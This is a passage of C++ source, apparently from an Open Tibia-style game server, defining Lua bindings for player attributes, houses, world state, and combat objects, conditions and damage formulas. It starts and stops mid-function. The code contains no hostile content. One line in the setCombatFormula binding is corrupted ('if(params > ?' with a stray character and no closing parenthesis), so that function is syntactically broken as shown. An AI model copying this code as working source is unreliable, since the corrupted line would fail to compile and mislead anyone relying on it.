    {
        errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));
        lua_pushboolean(L, false);
    }
    return 1;
}

int32_t LuaScriptInterface::luaDoPlayerSetVocation(lua_State* L)
{
    //doPlayerSetVocation(cid, voc)
    uint32_t voc = popNumber(L);

    ScriptEnviroment* env = getEnv();
    if(Player* player = env->getPlayerByUID(popNumber(L)))
    {
        player->setVocation(voc);
        lua_pushboolean(L, true);
    }
    else
    {
        errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));
        lua_pushboolean(L, false);
    }
    return 1;
}

int32_t LuaScriptInterface::luaDoPlayerSetSex(lua_State* L)
{
    //doPlayerSetSex(cid, sex)
    uint32_t newSex = popNumber(L);

    ScriptEnviroment* env = getEnv();
    if(Player* player = env->getPlayerByUID(popNumber(L)))
    {
        player->setSex(newSex);
        lua_pushboolean(L, true);
    }
    else
    {
        errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));
        lua_pushboolean(L, false);
    }
    return 1;
}

int32_t LuaScriptInterface::luaDoPlayerAddSoul(lua_State* L)
{
    //doPlayerAddSoul(cid, soul)
    int32_t soul = popNumber(L);

    ScriptEnviroment* env = getEnv();
    if(Player* player = env->getPlayerByUID(popNumber(L)))
    {
        player->changeSoul(soul);
        lua_pushboolean(L, true);
    }
    else
    {
        errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));
        lua_pushboolean(L, false);
    }
    return 1;
}

int32_t LuaScriptInterface::luaGetPlayerItemCount(lua_State* L)
{
    //getPlayerItemCount(cid, itemid[, subType = -1])
    int32_t subType = -1;
    if(lua_gettop(L) > 2)
        subType = popNumber(L);

    uint32_t itemId = popNumber(L);
    ScriptEnviroment* env = getEnv();
    if(const Player* player = env->getPlayerByUID(popNumber(L)))
        lua_pushnumber(L, player->__getItemTypeCount(itemId, subType));
    else
    {
        errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));
        lua_pushboolean(L, false);
    }
    return 1;
}

int32_t LuaScriptInterface::luaGetPlayerMoney(lua_State* L)
{
    //getPlayerMoney(cid)
    ScriptEnviroment* env = getEnv();
    if(Player* player = env->getPlayerByUID(popNumber(L)))
        lua_pushnumber(L, g_game.getMoney(player));
    else
    {
        errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));
        lua_pushboolean(L, false);
    }
    return 1;
}

int32_t LuaScriptInterface::luaGetHouseInfo(lua_State* L)
{
    //getHouseInfo(houseId)
    bool displayError = true;
    if(lua_gettop(L) > 1)
        displayError = popNumber(L);

    House* house = Houses::getInstance()->getHouse(popNumber(L));
    if(!house)
    {
        if(displayError)
            errorEx(getError(LUA_ERROR_HOUSE_NOT_FOUND));

        lua_pushboolean(L, false);
        return 1;
    }

    lua_newtable(L);
    setField(L, "id", house->getId());
    setField(L, "name", house->getName().c_str());
    setField(L, "owner", house->getOwner());

    lua_pushstring(L, "entry");
    pushPosition(L, house->getEntry(), 0);
    pushTable(L);

    setField(L, "rent", house->getRent());
    setField(L, "price", house->getPrice());
    setField(L, "town", house->getTownId());
    setField(L, "paidUntil", house->getPaidUntil());
    setField(L, "warnings", house->getRentWarnings());
    setField(L, "lastWarning", house->getLastWarning());

    setFieldBool(L, "guildHall", house->isGuild());
    setField(L, "size", house->getSize());
    setField(L, "doors", house->getDoorsCount());
    setField(L, "beds", house->getBedsCount());
    setField(L, "tiles", house->getTilesCount());

    return 1;
}

int32_t LuaScriptInterface::luaGetHouseAccessList(lua_State* L)
{
    //getHouseAccessList(houseid, listid)
    uint32_t listid = popNumber(L);
    if(House* house = Houses::getInstance()->getHouse(popNumber(L)))
    {
        std::string list;
        if(house->getAccessList(listid, list))
            lua_pushstring(L, list.c_str());
        else
            lua_pushnil(L);
    }
    else
    {
        errorEx(getError(LUA_ERROR_HOUSE_NOT_FOUND));
        lua_pushnil(L);
    }
    return 1;
}

int32_t LuaScriptInterface::luaGetHouseByPlayerGUID(lua_State* L)
{
    //getHouseByPlayerGUID(guid)
    if(House* house = Houses::getInstance()->getHouseByPlayerId(popNumber(L)))
        lua_pushnumber(L, house->getId());
    else
        lua_pushnil(L);
    return 1;
}

int32_t LuaScriptInterface::luaSetHouseAccessList(lua_State* L)
{
    //setHouseAccessList(houseid, listid, listtext)
    std::string list = popString(L);
    uint32_t listid = popNumber(L);

    if(House* house = Houses::getInstance()->getHouse(popNumber(L)))
    {
        house->setAccessList(listid, list);
        lua_pushboolean(L, true);
    }
    else
    {
        errorEx(getError(LUA_ERROR_HOUSE_NOT_FOUND));
        lua_pushboolean(L, false);
    }
    return 1;
}

int32_t LuaScriptInterface::luaSetHouseOwner(lua_State* L)
{
    //setHouseOwner(houseId, owner[, clean])
    bool clean = true;
    if(lua_gettop(L) > 2)
        clean = popNumber(L);

    uint32_t owner = popNumber(L);
    if(House* house = Houses::getInstance()->getHouse(popNumber(L)))
        lua_pushboolean(L, house->setOwnerEx(owner, clean));
    else
    {
        errorEx(getError(LUA_ERROR_HOUSE_NOT_FOUND));
        lua_pushboolean(L, false);
    }
    return 1;
}

int32_t LuaScriptInterface::luaGetWorldType(lua_State* L)
{
    lua_pushnumber(L, (uint32_t)g_game.getWorldType());
    return 1;
}

int32_t LuaScriptInterface::luaSetWorldType(lua_State* L)
{
    //setWorldType(type)
    WorldType_t type = (WorldType_t)popNumber(L);

    if(type >= WORLD_TYPE_FIRST && type <= WORLD_TYPE_LAST)
    {
        g_game.setWorldType(type);
        lua_pushboolean(L, true);
    }
    else
        lua_pushboolean(L, false);

    return 1;
}

int32_t LuaScriptInterface::luaGetWorldTime(lua_State* L)
{
    //getWorldTime()
    lua_pushnumber(L, g_game.getLightHour());
    return 1;
}

int32_t LuaScriptInterface::luaGetWorldLight(lua_State* L)
{
    //getWorldLight()
    LightInfo lightInfo;
    g_game.getWorldLightInfo(lightInfo);
    lua_pushnumber(L, lightInfo.level);
    lua_pushnumber(L, lightInfo.color);
    return 1;
}

int32_t LuaScriptInterface::luaGetWorldCreatures(lua_State* L)
{
    //getWorldCreatures(type)
    //0 players, 1 monsters, 2 npcs, 3 all
    uint32_t type = popNumber(L), value;
    switch(type)
    {
        case 0:
            value = g_game.getPlayersOnline();
            break;
        case 1:
            value = g_game.getMonstersOnline();
            break;
        case 2:
            value = g_game.getNpcsOnline();
            break;
        case 3:
            value = g_game.getCreaturesOnline();
            break;
        default:
            lua_pushboolean(L, false);
            return 1;
    }

    lua_pushnumber(L, value);
    return 1;
}

int32_t LuaScriptInterface::luaGetWorldUpTime(lua_State* L)
{
    //getWorldUpTime()
    uint32_t uptime = 0;
    if(Status* status = Status::getInstance())
        uptime = status->getUptime();

    lua_pushnumber(L, uptime);
    return 1;
}

int32_t LuaScriptInterface::luaGetPlayerLight(lua_State* L)
{
    //getPlayerLight(cid)
    ScriptEnviroment* env = getEnv();
    if(const Player* player = env->getPlayerByUID(popNumber(L)))
    {
        LightInfo lightInfo;
        player->getCreatureLight(lightInfo);
        lua_pushnumber(L, lightInfo.level);
        lua_pushnumber(L, lightInfo.color);
    }
    else
    {
        errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));
        lua_pushboolean(L, false);
    }
    return 1;
}

int32_t LuaScriptInterface::luaDoPlayerAddExperience(lua_State* L)
{
    //doPlayerAddExperience(cid, amount)
    int64_t amount = popNumber(L);

    ScriptEnviroment* env = getEnv();
    if(Player* player = env->getPlayerByUID(popNumber(L)))
    {
        if(amount > 0)
            player->addExperience(amount);
        else if(amount < 0)
            player->removeExperience(std::abs(amount));
        else
        {
            lua_pushboolean(L, false);
            return 1;
        }

        lua_pushboolean(L, true);
    }
    else
    {
        errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));
        lua_pushboolean(L, false);
    }
    return 1;
}

int32_t LuaScriptInterface::luaGetPlayerSlotItem(lua_State* L)
{
    //getPlayerSlotItem(cid, slot)
    uint32_t slot = popNumber(L);

    ScriptEnviroment* env = getEnv();
    if(const Player* player = env->getPlayerByUID(popNumber(L)))
    {
        if(Thing* thing = player->__getThing(slot))
            pushThing(L, thing, env->addThing(thing));
        else
            pushThing(L, NULL, 0);
    }
    else
    {
        errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));
        pushThing(L, NULL, 0);
    }
    return 1;
}

int32_t LuaScriptInterface::luaGetPlayerWeapon(lua_State* L)
{
    //getPlayerWeapon(cid[, ignoreAmmo = false])
    bool ignoreAmmo = false;
    if(lua_gettop(L) > 1)
        ignoreAmmo = popNumber(L);

    ScriptEnviroment* env = getEnv();
    if(Player* player = env->getPlayerByUID(popNumber(L)))
    {
        if(Item* weapon = player->getWeapon(ignoreAmmo))
            pushThing(L, weapon, env->addThing(weapon));
        else
            pushThing(L, NULL, 0);
    }
    else
    {
        errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));
        lua_pushnil(L);
    }
    return 1;
}

int32_t LuaScriptInterface::luaGetPlayerItemById(lua_State* L)
{
    //getPlayerItemById(cid, deepSearch, itemId[, subType = -1])
    ScriptEnviroment* env = getEnv();

    int32_t subType = -1;
    if(lua_gettop(L) > 3)
        subType = (int32_t)popNumber(L);

    int32_t itemId = (int32_t)popNumber(L);
    bool deepSearch = popNumber(L);

    Player* player = env->getPlayerByUID(popNumber(L));
    if(!player)
    {
        errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));
        pushThing(L, NULL, 0);
        return 1;
    }

    Item* item = g_game.findItemOfType(player, itemId, deepSearch, subType);
    if(!item)
    {
        pushThing(L, NULL, 0);
        return 1;
    }

    pushThing(L, item, env->addThing(item));
    return 1;
}

int32_t LuaScriptInterface::luaGetThing(lua_State* L)
{
    //getThing(uid)
    uint32_t uid = popNumber(L);

    ScriptEnviroment* env = getEnv();
    if(Thing* thing = env->getThingByUID(uid))
        pushThing(L, thing, uid);
    else
    {
        errorEx(getError(LUA_ERROR_THING_NOT_FOUND));
        pushThing(L, NULL, 0);
    }
    return 1;
}

int32_t LuaScriptInterface::luaDoTileQueryAdd(lua_State* L)
{
    //doTileQueryAdd(uid, pos[, flags[, displayError = true]])
    uint32_t flags = 0, params = lua_gettop(L);
    bool displayError = true;
    if(params > 3)
        displayError = popNumber(L);

    if(params > 2)
        flags = popNumber(L);

    PositionEx pos;
    popPosition(L, pos);
    uint32_t uid = popNumber(L);

    ScriptEnviroment* env = getEnv();
    Tile* tile = g_game.getTile(pos);
    if(!tile)
    {
        if(displayError)
            errorEx(getError(LUA_ERROR_TILE_NOT_FOUND));

        lua_pushnumber(L, (uint32_t)RET_NOTPOSSIBLE);
        return 1;
    }

    Thing* thing = env->getThingByUID(uid);
    if(!thing)
    {
        if(displayError)
            errorEx(getError(LUA_ERROR_THING_NOT_FOUND));

        lua_pushnumber(L, (uint32_t)RET_NOTPOSSIBLE);
        return 1;
    }

    lua_pushnumber(L, (uint32_t)tile->__queryAdd(0, thing, 1, flags));
    return 1;
}

int32_t LuaScriptInterface::luaDoItemRaidUnref(lua_State* L)
{
    //doItemRaidUnref(uid)
    ScriptEnviroment* env = getEnv();
    if(Item* item = env->getItemByUID(popNumber(L)))
    {
        if(Raid* raid = item->getRaid())
        {
            raid->unRef();
            item->setRaid(NULL);
            lua_pushboolean(L, true);
        }
        else
            lua_pushboolean(L, false);
    }
    else
    {
        errorEx(getError(LUA_ERROR_ITEM_NOT_FOUND));
        lua_pushboolean(L, false);
    }
    return 1;
}

int32_t LuaScriptInterface::luaGetThingPosition(lua_State* L)
{
    //getThingPosition(uid)
    ScriptEnviroment* env = getEnv();
    if(Thing* thing = env->getThingByUID(popNumber(L)))
    {
        Position pos = thing->getPosition();
        uint32_t stackpos = 0;
        if(Tile* tile = thing->getTile())
            stackpos = tile->__getIndexOfThing(thing);

        pushPosition(L, pos, stackpos);
    }
    else
    {
        errorEx(getError(LUA_ERROR_THING_NOT_FOUND));
        lua_pushboolean(L, false);
    }

    return 1;
}

int32_t LuaScriptInterface::luaCreateCombatObject(lua_State* L)
{
    //createCombatObject()
    ScriptEnviroment* env = getEnv();
    if(env->getScriptId() != EVENT_ID_LOADING)
    {
        errorEx("This function can only be used while loading the script.");
        lua_pushboolean(L, false);
        return 1;
    }

    Combat* combat = new Combat;
    if(!combat)
    {
        errorEx(getError(LUA_ERROR_COMBAT_NOT_FOUND));
        lua_pushboolean(L, false);
        return 1;
    }

    lua_pushnumber(L, env->addCombatObject(combat));
    return 1;
}

bool LuaScriptInterface::getArea(lua_State* L, std::list<uint32_t>& list, uint32_t& rows)
{
    rows = 0;
    uint32_t i = 0;

    lua_pushnil(L);
    while(lua_next(L, -2))
    {
        lua_pushnil(L);
        while(lua_next(L, -2))
        {
            list.push_back((uint32_t)lua_tonumber(L, -1));
            lua_pop(L, 1); //removes value, keeps key for next iteration
            ++i;
        }

        lua_pop(L, 1); //removes value, keeps key for next iteration
        ++rows;
        i = 0;
    }

    lua_pop(L, 1);
    return rows;
}

int32_t LuaScriptInterface::luaCreateCombatArea(lua_State* L)
{
    //createCombatArea( {area}[, {extArea}])
    ScriptEnviroment* env = getEnv();
    if(env->getScriptId() != EVENT_ID_LOADING)
    {
        errorEx("This function can only be used while loading the script.");
        lua_pushboolean(L, false);
        return 1;
    }

    CombatArea* area = new CombatArea;
    if(lua_gettop(L) > 1)
    {
        //has extra parameter with diagonal area information
        uint32_t rowsExtArea;
        std::list<uint32_t> listExtArea;

        getArea(L, listExtArea, rowsExtArea);
        /*setup all possible rotations*/
        area->setupExtArea(listExtArea, rowsExtArea);
    }

    if(lua_isnoneornil(L, -1)) //prevent crash
    {
        lua_pop(L, 2);
        lua_pushboolean(L, false);
        return 1;
    }

    uint32_t rowsArea = 0;
    std::list<uint32_t> listArea;
    getArea(L, listArea, rowsArea);

    area->setupArea(listArea, rowsArea);
    lua_pushnumber(L, env->addCombatArea(area));
    return 1;
}

int32_t LuaScriptInterface::luaCreateConditionObject(lua_State* L)
{
    //createConditionObject(type[, ticks[, buff[, subId]]])
    uint32_t params = lua_gettop(L), subId = 0;
    if(params > 3)
        subId = popNumber(L);

    bool buff = false;
    if(params > 2)
        buff = popNumber(L);

    int32_t ticks = 0;
    if(params > 1)
        ticks = popNumber(L);

    ScriptEnviroment* env = getEnv();
    if(env->getScriptId() != EVENT_ID_LOADING)
    {
        errorEx("This function can only be used while loading the script.");
        lua_pushboolean(L, false);
        return 1;
    }

    if(Condition* condition = Condition::createCondition(CONDITIONID_COMBAT, (ConditionType_t)popNumber(L), ticks, 0, buff, subId))
        lua_pushnumber(L, env->addConditionObject(condition));
    else
    {
        errorEx(getError(LUA_ERROR_CONDITION_NOT_FOUND));
        lua_pushboolean(L, false);
    }

    return 1;
}

int32_t LuaScriptInterface::luaSetCombatArea(lua_State* L)
{
    //setCombatArea(combat, area)
    uint32_t areaId = popNumber(L);
    ScriptEnviroment* env = getEnv();
    if(env->getScriptId() != EVENT_ID_LOADING)
    {
        errorEx("This function can only be used while loading the script.");
        lua_pushboolean(L, false);
        return 1;
    }

    Combat* combat = env->getCombatObject(popNumber(L));
    if(!combat)
    {
        errorEx(getError(LUA_ERROR_COMBAT_NOT_FOUND));
        lua_pushboolean(L, false);
        return 1;
    }

    const CombatArea* area = env->getCombatArea(areaId);
    if(!area)
    {
        errorEx(getError(LUA_ERROR_AREA_NOT_FOUND));
        lua_pushboolean(L, false);
        return 1;
    }

    combat->setArea(new CombatArea(*area));
    lua_pushboolean(L, true);
    return 1;
}

int32_t LuaScriptInterface::luaSetCombatCondition(lua_State* L)
{
    //setCombatCondition(combat, condition)
    uint32_t conditionId = popNumber(L);
    ScriptEnviroment* env = getEnv();
    if(env->getScriptId() != EVENT_ID_LOADING)
    {
        errorEx("This function can only be used while loading the script.");
        lua_pushboolean(L, false);
        return 1;
    }

    Combat* combat = env->getCombatObject(popNumber(L));
    if(!combat)
    {
        errorEx(getError(LUA_ERROR_COMBAT_NOT_FOUND));
        lua_pushboolean(L, false);
        return 1;
    }

    const Condition* condition = env->getConditionObject(conditionId);
    if(!condition)
    {
        errorEx(getError(LUA_ERROR_CONDITION_NOT_FOUND));
        lua_pushboolean(L, false);
        return 1;
    }

    combat->setCondition(condition->clone());
    lua_pushboolean(L, true);
    return 1;
}

int32_t LuaScriptInterface::luaSetCombatParam(lua_State* L)
{
    //setCombatParam(combat, key, value)
    uint32_t value = popNumber(L);
    CombatParam_t key = (CombatParam_t)popNumber(L);

    ScriptEnviroment* env = getEnv();
    if(env->getScriptId() != EVENT_ID_LOADING)
    {
        errorEx("This function can only be used while loading the script.");
        lua_pushboolean(L, false);
        return 1;
    }

    Combat* combat = env->getCombatObject(popNumber(L));
    if(!combat)
    {
        errorEx(getError(LUA_ERROR_COMBAT_NOT_FOUND));
        lua_pushboolean(L, false);
    }
    else
    {
        combat->setParam(key, value);
        lua_pushboolean(L, true);
    }
    return 1;
}

int32_t LuaScriptInterface::luaSetConditionParam(lua_State* L)
{
    //setConditionParam(condition, key, value)
    int32_t value = (int32_t)popNumber(L);
    ConditionParam_t key = (ConditionParam_t)popNumber(L);

    ScriptEnviroment* env = getEnv();
    if(env->getScriptId() != EVENT_ID_LOADING)
    {
        errorEx("This function can only be used while loading the script.");
        lua_pushboolean(L, false);
        return 1;
    }

    if(Condition* condition = env->getConditionObject(popNumber(L)))
    {
        condition->setParam(key, value);
        lua_pushboolean(L, true);
    }
    else
    {
        errorEx(getError(LUA_ERROR_CONDITION_NOT_FOUND));
        lua_pushboolean(L, false);
    }

    return 1;
}

int32_t LuaScriptInterface::luaAddDamageCondition(lua_State* L)
{
    //addDamageCondition(condition, rounds, time, value)
    int32_t value = popNumber(L), time = popNumber(L), rounds = popNumber(L);
    ScriptEnviroment* env = getEnv();
    if(env->getScriptId() != EVENT_ID_LOADING)
    {
        errorEx("This function can only be used while loading the script.");
        lua_pushboolean(L, false);
        return 1;
    }

    if(ConditionDamage* condition = dynamic_cast<ConditionDamage*>(env->getConditionObject(popNumber(L))))
    {
        condition->addDamage(rounds, time, value);
        lua_pushboolean(L, true);
    }
    else
    {
        errorEx(getError(LUA_ERROR_CONDITION_NOT_FOUND));
        lua_pushboolean(L, false);
    }

    return 1;
}

int32_t LuaScriptInterface::luaAddOutfitCondition(lua_State* L)
{
    //addOutfitCondition(condition, outfit)
    Outfit_t outfit = popOutfit(L);
    ScriptEnviroment* env = getEnv();
    if(env->getScriptId() != EVENT_ID_LOADING)
    {
        errorEx("This function can only be used while loading the script.");
        lua_pushboolean(L, false);
        return 1;
    }

    if(ConditionOutfit* condition = dynamic_cast<ConditionOutfit*>(env->getConditionObject(popNumber(L))))
    {
        condition->addOutfit(outfit);
        lua_pushboolean(L, true);
    }
    else
    {
        errorEx(getError(LUA_ERROR_CONDITION_NOT_FOUND));
        lua_pushboolean(L, false);
    }

    return 1;
}

int32_t LuaScriptInterface::luaSetCombatCallBack(lua_State* L)
{
    //setCombatCallBack(combat, key, functionName)
    std::string function = popString(L);
    CallBackParam_t key = (CallBackParam_t)popNumber(L);

    ScriptEnviroment* env = getEnv();
    if(env->getScriptId() != EVENT_ID_LOADING)
    {
        errorEx("This function can only be used while loading the script.");
        lua_pushboolean(L, false);
        return 1;
    }

    Combat* combat = env->getCombatObject(popNumber(L));
    if(!combat)
    {
        errorEx(getError(LUA_ERROR_COMBAT_NOT_FOUND));
        lua_pushboolean(L, false);
        return 1;
    }

    LuaScriptInterface* interface = env->getInterface();
    combat->setCallback(key);

    CallBack* callback = combat->getCallback(key);
    if(!callback)
    {
        std::stringstream ss;
        ss << key;

        errorEx(ss.str() + " is not a valid callback key.");
        lua_pushboolean(L, false);
        return 1;
    }

    if(!callback->loadCallBack(interface, function))
    {
        errorEx("Cannot load callback");
        lua_pushboolean(L, false);
    }
    else
        lua_pushboolean(L, true);

    return 1;
}

int32_t LuaScriptInterface::luaSetCombatFormula(lua_State* L)
{
    //setCombatFormula(combat, type, mina, minb, maxa, maxb[, minl, maxl[, minm, maxm[, minc[, maxc]]]])
    ScriptEnviroment* env = getEnv();
    if(env->getScriptId() != EVENT_ID_LOADING)
    {
        errorEx("This function can only be used while loading the script.");
        lua_pushboolean(L, false);
        return 1;
    }

    int32_t params = lua_gettop(L), minc = 0, maxc = 0;
    if(params > 11)
        maxc = popNumber(L);

    if(params > 10)
        minc = popNumber(L);

    double minm = g_config.getDouble(ConfigManager::FORMULA_MAGIC), maxm = minm,
        minl = g_config.getDouble(ConfigManager::FORMULA_LEVEL), maxl = minl;
    if(params > ?
    {
        maxm = popFloatNumber(L);
        minm = popFloatNumber(L);
    }

    if(params > 6)
    {
        maxl = popFloatNumber(L);
        minl = popFloatNumber(L);
    }

    double maxb = popFloatNumber(L), maxa = popFloatNumber(L),
        minb = popFloatNumber(L), mina = popFloatNumber(L);
    formulaType_t type = (formulaType_t)popNumber(L);
    if(Combat* combat = env->getCombatObject(popNumber(L)))
    {
        combat->setPlayerCombatValues(type, mina, minb, maxa, maxb, minl, maxl, minm, maxm, minc, maxc);
        lua_pushboolean(L, true);
    }
    else
    {
        errorEx(getError(LUA_ERROR_COMBAT_NOT_FOUND));
        lua_pushboolean(L, false);
    }

    return 1;
}

int32_t LuaScriptInterface::luaSetConditionFormula(lua_State* L)
{
    //setConditionFormula(condition, mina, minb, maxa, maxb)
    ScriptEnviroment* env = getEnv();
    if(env->getScriptId() != EVENT_ID_LOADING)
    {
        errorEx("This function can only be used while loading the script.");
        lua_pushboolean(L, false);
        return 1;
    }

    double maxb = popFloatNumber(L), maxa = popFloatNumber(L),
        minb = popFloatNumber(L), mina = popFloatNumber(L);

    if(ConditionSpeed* condition = dynamic_cast<ConditionSpeed*>(env->getConditionObject(popNumber(L))))
    {
        condition->setFormulaVars(mina, minb, maxa, maxb);
        lua_pushboolean(L, true);
    }
    else
    {
        errorEx(getError(LUA_ERROR_CONDITION_NOT_FOUND));
        lua_pushboolean(L, false);
    }

    return 1;
}

int32_t LuaScriptInterface::luaDoCombat(lua_State* L)
{
    //doCombat(cid, combat, param)
    ScriptEnviroment* env = getEnv();

    LuaVariant var = popVariant(L);
    uint32_t combatId = popNumber(L), cid = popNumber(L);

    Creature* creature = NULL;
    if(cid != 0)
    {
        creature = env->getCreatureByUID(cid);
        if(!creature)
        {
            errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND));
            lua_pushboolean(L, false);
            return 1;
        }
    }

    const Combat* combat = env->getCombatObject(combatId);
    if(!combat)
    {
        errorEx(getError(LUA_ERROR_COMBAT_NOT_FOUND));
        lua_pushboolean(L, false);
        return 1;
    }

    if(var.type == VARIANT_NONE)
    {
        errorEx(getError(LUA_ERROR_VARIANT_NOT_FOUND));
        lua_pushboolean(L, false);
        return 1;
    }

    switch(var.type)
    {
        case VARIANT_NUMBER:
        {
            Creature* target = g_game.getCreatureByID(var.number);
            if(!target || !creature || !creature->canSeeCreature(target))
            {
                lua_pushboolean(L, false);
                return 1;
            }

            if(combat->hasArea())
                combat->doCombat(creature, target->getPosition());
            else
                combat->doCombat(creature, target);

            break;
        }

        case VARIANT_POSITION:
        {
            combat->doCombat(creature, var.pos);
            break;
        }

        case VARIANT_TARGETPOSITION:
        {
            if(!combat->hasArea())
            {
                combat->postCombatEffects(creature, var.pos);
                g_game.addMagicEffect(var.pos, MAGIC_EFFECT_POFF);
            }
            else
                combat->doCombat(creature, var.pos);

            break;
        }

        case VARIANT_STRING:
        {
            Player* target = g_game.getPlayerByName(var.text);
            if(!target || !creature || !creature->canSeeCreature(target))
            {
                lua_pushboolean(L, false);
                return 1;
            }

            combat->doCombat(creature, target);
            break;
        }

        default:
        {
            errorEx(getError(LUA_ERROR_VARIANT_UNKNOWN));
            lua_pushboolean(L, false);
            return 1;
        }
    }

    lua_pushboolean(L, true);
    return 1;
}

int32_t LuaScriptInterface::luaDoCombatAreaHealth(lua_State* L)
{
    //doCombatAreaHealth(cid, type, pos, area, min, max, effect)
    MagicEffect_t effect = (MagicEffect_t)popNumber(L);
    int32_t maxChange = (int32_t)popNumber(L), minChange = (int32_t)popNumber(L);
    uint32_t areaId = popNumber(L);

    PositionEx pos;
    popPosition(L, pos);

    CombatType_t combatType = (CombatType_t)popNumber(L);
    uint32_t cid = popNumber(L);

    ScriptEnviroment* env = getEnv();
    Creature* creature = NULL;
    if(cid)
    {
        if(!(creature = env->getCreatureByUID(cid)))
        {
            errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND));
            lua_pushboolean(L, false);
            return 1;
        }
    }

    const CombatArea* area = env->getCombatArea(areaId);
    if(area || !areaId)
    {
        CombatParams params;
        params.combatType = combatType;
        params.effects.impact = effect;

        Combat::doCombatHealth(creature, pos, area, minChange, maxChange, params);
        lua_pushboolean(L, true);
    }
    else
    {
        errorEx(getError(LUA_ERROR_AREA_NOT_FOUND));
        lua_pushboolean(L, false);
    }

    return 1;
}

int32_t LuaScriptInterface::luaDoTargetCombatHealth(lua_State* L)
{
    //doTargetCombatHealth(cid, target, type, min, max, effect)
    MagicEffect_t effect = (MagicEffect_t)popNumber(L);
    int32_t maxChange = (int32_t)popNumber(L), minChange = (int32_t)popNumber(L);

    CombatType_t combatType = (CombatType_t)popNumber(L);
    uint32_t targetCid = popNumber(L), cid = popNumber(L);

    ScriptEnviroment* env = getEnv();
    Creature* creature = NULL;
    if(cid)
    {
        if(!(creature = env->getCreatureByUID(cid)))
        {
            errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND));
            lua_pushboolean(L, false);
            return 1;
        }
    }

    Creature* target = env->getCreatureByUID(targetCid);
    if(target)
    {
        CombatParams params;
        params.combatType = combatType;
        params.effects.impact = effect;

        Combat::doCombatHealth(creature, target, minChange, maxChange, params);
        lua_pushboolean(L, true);
    }
    else
    {
        errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND));
        lua_pushboolean(L, false);
    }

    return 1;
}

int32_t LuaScriptInterface::luaDoCombatAreaMana(lua_State* L)
{
    //doCombatAreaMana(cid, pos, area, min, max, effect)
    MagicEffect_t effect = (MagicEffect_t)popNumber(L);
    int32_t maxChange = (int32_t)popNumber(L), minChange = (int32_t)popNumber(L);
    uint32_t areaId = popNumber(L);

    PositionEx pos;
    popPosition(L, pos);
    uint32_t cid = popNumber(L);

    ScriptEnviroment* env = getEnv();
    Creature* creature = NULL;
    if(cid)
    {
        if(!(creature = env->getCreatureByUID(cid)))
        {
            errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND));
            lua_pushboolean(L, false);
            return 1;
        }
    }

    const CombatArea* area = env->getCombatArea(areaId);
    if(area || !areaId)
    {
        CombatParams params;
        params.effects.impact = effect;

        Combat::doCombatMana(creature, pos, area, minChange, maxChange, params);
        lua_pushboolean(L, true);
    }
    else
    {
        errorEx(getError(LUA_ERROR_AREA_NOT_FOUND));
        lua_pushboolean(L, false);
    }

    return 1;
}

int32_t LuaScriptInterface::luaDoTargetCombatMana(lua_State* L)
{
    //doTargetCombatMana(cid, target, min, max, effect)
    MagicEffect_t effect = (MagicEffect_t)popNumber(L);
    int32_t maxChange = (int32_t)popNumber(L), minChange = (int32_t)popNumber(L);
    uint32_t targetCid = popNumber(L), cid = popNumber(L);

    ScriptEnviroment* env = getEnv();
    Creature* creature = NULL;
    if(cid)
    {
        if(!(creature = env->getCreatureByUID(cid)))
        {
            errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND));
            lua_pushboolean(L, false);
            return 1;
        }
    }

    if(Creature* target = env->getCreatureByUID(targetCid))
    {
        CombatParams params;
        params.effects.impact = effect;

        Combat::doCombatMana(creature, target, minChange, maxChange, params);
        lua_pushboolean(L, true);
    }
    else
    {
        errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND));
        lua_pushboolean(L, false);
    }

    return 1;
}

int32_t LuaScriptInterface::luaDoCombatAreaCondition(lua_State* L)
{
    //doCombatAreaCondition(cid, pos, area, condition, effect)
    MagicEffect_t effect = (MagicEffect_t)popNumber(L);
    uint32_t conditionId = popNumber(L), areaId = popNumber(L);

    PositionEx pos;
    popPosition(L, pos);
    uint32_t cid = popNumber(L);

    ScriptEnviroment* env = getEnv();
    Creature* creature = NULL;
    if(cid)
    {
        if(!(creature = env->getCreatureByUID(cid)))
        {
            errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND));
            lua_pushboolean(L, false);
            return 1;
        }
    }

    if(const Condition* condition = env->getConditionObject(conditionId))
    {
        const CombatArea* area = env->getCombatArea(areaId);
        if(area || !areaId)
        {
            CombatParams params;
            params.effects.impact = effect;
            params.conditionList.push_back(condition);
            Combat::doCombatCondition(creature, pos, area, params);

            lua_pushboolean(L, true);
        }
        else
        {
            errorEx(getError(LUA_ERROR_AREA_NOT_FOUND));
            lua_pushboolean(L, false);
        }
    }
    else
    {
        errorEx(getError(LUA_ERROR_CONDITION_NOT_FOUND));
        lua_pushboolean(L, false);
    }

    return 1;
}

int32_t LuaScriptInterface::luaDoTargetCombatCondition(lua_State* L)
{
    //doTargetCombatCondition(cid, target, condition, effect)
    MagicEffect_t effect = (MagicEffect_t)popNumber(L);
    uint32_t conditionId = popNumber(L), targetCid = popNumber(L), cid = popNumber(L);

    ScriptEnviroment* env = getEnv();
    Creature* creature = NULL;
    if(cid)
    {
        if(!(creature = env->getCreatureByUID(cid)))
        {
            errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND));
            lua_pushboolean(L, false);
            return 1;
        }
    }

    if(Creature* target = env->getCreatureByUID(targetCid))
    {
        if(const Condition* condition = env->getConditionObject(conditionId))
        {
            CombatParams params;
            params.effects.impact = effect;
            params.conditionList.push_back(condition);

            Combat::doCombatCondition(creature, target, params);
            lua_pushboolean(L, true);
        }
        else
        {
            errorEx(getError(LUA_ERROR_CONDITION_NOT_FOUND));
            lua_pushboolean(L, false);
        }
    }
    else
    {
        errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND));
